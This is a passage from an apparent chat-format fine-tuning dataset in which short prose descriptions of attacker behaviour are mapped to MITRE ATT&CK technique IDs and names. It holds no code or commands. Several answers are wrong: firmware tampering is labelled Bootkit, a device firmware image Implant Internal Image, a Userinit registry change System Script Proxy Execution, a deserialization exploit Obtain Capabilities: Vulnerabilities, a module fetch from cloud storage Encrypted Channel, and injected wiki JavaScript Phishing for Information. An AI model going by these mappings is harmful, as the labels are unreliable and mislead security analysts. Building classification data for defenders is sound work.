                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a rogue Outlook form that executes a payload each time the user opens Outlook, persisting via Office Application Startup: Outlook Forms."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware alters the system's boot configuration to enable Safe Mode with minimal drivers, effectively impairing defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged compromised credentials to scrape files from a SharePoint site and exfiltrate them to a remote endpoint."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a scheduled task to run a Python script that zips and exfiltrates data via an unauthenticated WebDAV server."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group crafts a file‑less malware component that leverages Windows Management Instrumentation (WMI) for execution."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential theft incident led to the modification of the company’s internal portal splash screen with defacement artwork."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the firmware of the computer's firmware interface to persistently execute a trojan at boot time."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged Windows Management Instrumentation to enumerate running services and extract their configuration details."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query the registry for the location of the system's profile paths stored in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the `eval` command in a bash script to execute dynamically generated code that steals cookies from the web browser."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts stored configuration data from a cloud storage bucket containing misconfigured access controls."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor hijacks a running thread in a Windows service process by modifying its context with SetThreadContext, then resumes it to execute a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes stolen documents to C:\\Windows\\Temp\\staged_data before uploading them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor modifies data in transit over a proprietary protocol, changing configuration settings on remote devices without detection."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers leveraged an insecure API endpoint to upload malicious files, leading to the public site being defaced with protest slogans."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor manipulates the orchestration layer to spin up a container that mines cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware uses the Microsoft Azure Blob Storage service to upload encrypted data and retrieve decryption keys as part of its C2 workflow."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary captures a valid VNC authentication token from memory and uses it to control the remote desktop."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leads to an OAuth token being stolen, which is then used to download files from the victim’s Box account."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Kerberos delegation to request service tickets for high‑privilege accounts and then performs a dictionary attack on the tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages Windows Management Instrumentation (WMI) to execute a remote script on a target machine."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious DLL is sanitized by stripping out all export functions that are not essential, creating a lean version that bypasses heuristic scans."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder hijacks a service account by resetting its password."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the attacker identifies users with 'Password never expires' and disabled pre‑auth, then extracts their AS‑REP tickets to attempt password recovery."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gains FTP access and overwrites index.html with a custom defacement image and text."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a penetration test, the tester runs arpspoof to associate the attacker’s MAC address with the IP of the corporate DNS server."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the system's boot configuration to force the machine to start in Safe Mode, disabling many security components."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised VPN account, the attacker reviews the organization's internal communications platform to list members of the security and engineering teams."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit Odbcconf to execute a PowerShell script via a crafted ODBC driver, bypassing application whitelisting mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses systemd's oneshot service type to execute a one-time elevation script."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts established a persistent WinRM connection to exfiltrate credentials from remote machines."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a double extension like \"update.exe.jpg\" so that the operating system opened the executable while the file looked like an image."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses InstallUtil's ability to register .NET assemblies, causing the system to execute a trojan hidden within the assembly."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker implants a compromised firmware image into the device's internal storage during boot, allowing hidden code execution."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the \"Userinit\" registry value, the attacker ensured that a malicious batch file executes via cmd.exe each time a user logs on, employing system script proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders identify a misconfiguration leading to an insecure deserialization bug, then execute code to install their tools."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors roll back a hijacked Azure VM to an earlier state, undoing security updates they previously installed."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the Windows authentication process by installing a custom PasswordFilter.dll that appends captured passwords to a hidden log file in %ProgramData%."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a vulnerability in a third-party library used by multiple applications to gain elevated privileges across different systems."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After breaching the server, the attacker encrypts all web server files and replaces index pages with a ransom demand."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data by first aggregating it into a tarball located in /var/tmp."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invokes msiexec.exe with a specially crafted payload to run arbitrary commands under the guise of a legitimate installer."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Infection scans for credential files like .env, .kube/config, or Docker secrets that contain clear‑text tokens."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a time-based check to only run the ransomware after a specific date, avoiding analysis environments."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages process argument spoofing to execute a backdoor while the command line shows a benign task, evading detection by security solutions."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits open Memcached instances by sending crafted UDP packets that cause the servers to reflect massive payloads toward the target."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code issues a direct ATA Secure Erase command that clears the drive's partition table and format structures."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor installs a forged system image on a compromised workstation, allowing stealthy execution of their payloads."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a malicious password filter DLL to capture and relay user credentials during logon."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group uses rundll32.exe to proxy the execution of a credential‑stealing DLL, ensuring the malicious process appears as a trusted Windows component."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs a high-volume brute-force attack on a banking website's login page, using a compiled list of frequently used passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script opens thousands of concurrent connections to a victim's endpoint, saturating CPU and memory until the application crashes."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracts the KRBTGT hash and uses it to forge a Kerberos ticket, effectively creating a Golden Ticket for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a phishing email to trick a user into revealing sensitive information, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group establishes a remote VPS in a foreign country to act as a staging server for further operations."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injecting malicious code into a legitimate Office add‑in to achieve persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team demonstration creates a BITS transfer that pulls a malicious PE file and executes it via a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the malware exfiltrates keylogs by piggybacking on the existing Command and Control traffic over a custom TCP protocol."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor removes the Mark-of-the-Web ADS from a malicious PDF to bypass the system's trust controls and execute the payload silently."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages search engines to locate exposed .env files in publicly accessible repositories."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a reflective XSS flaw, the attacker injects a script that steals session cookies from logged‑in users."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was injected into an existing SQL Server stored procedure, allowing the attacker to execute commands with database privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a hidden RDP listener on the victim machine, allowing the attacker to remotely administer the system."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised account, the threat actor submits a massive number of large file uploads to a web application, saturating its processing queue and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan inspects the process memory for debugger-specific markers such as INT 3 instructions."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script calls the cloud provider's revert function to replace a tampered instance with a clean snapshot."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised internal wiki is edited to include malicious JavaScript that exfiltrates cookies when viewed by employees."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue application reads the securityd memory space to obtain saved login information."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious installer uses a Windows Installer transform (.mst) to inject and run a payload during the installation of a legitimate application."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates saved credentials from the victim's Chrome browser by reading the Chrome Login Data SQLite file."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool leverages Azure Blob storage to fetch updated modules from its C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the legitimate transport agent on a mail server with a malicious version that silently forwards copies of all emails to an attacker-controlled mailbox."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors sabotage industrial control systems, causing physical equipment shutdown."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a compromised service account to access SharePoint lists and extract customer data for credential stuffing attacks."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a code‑signing certificate through a phishing campaign targeting a software vendor's signing staff."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
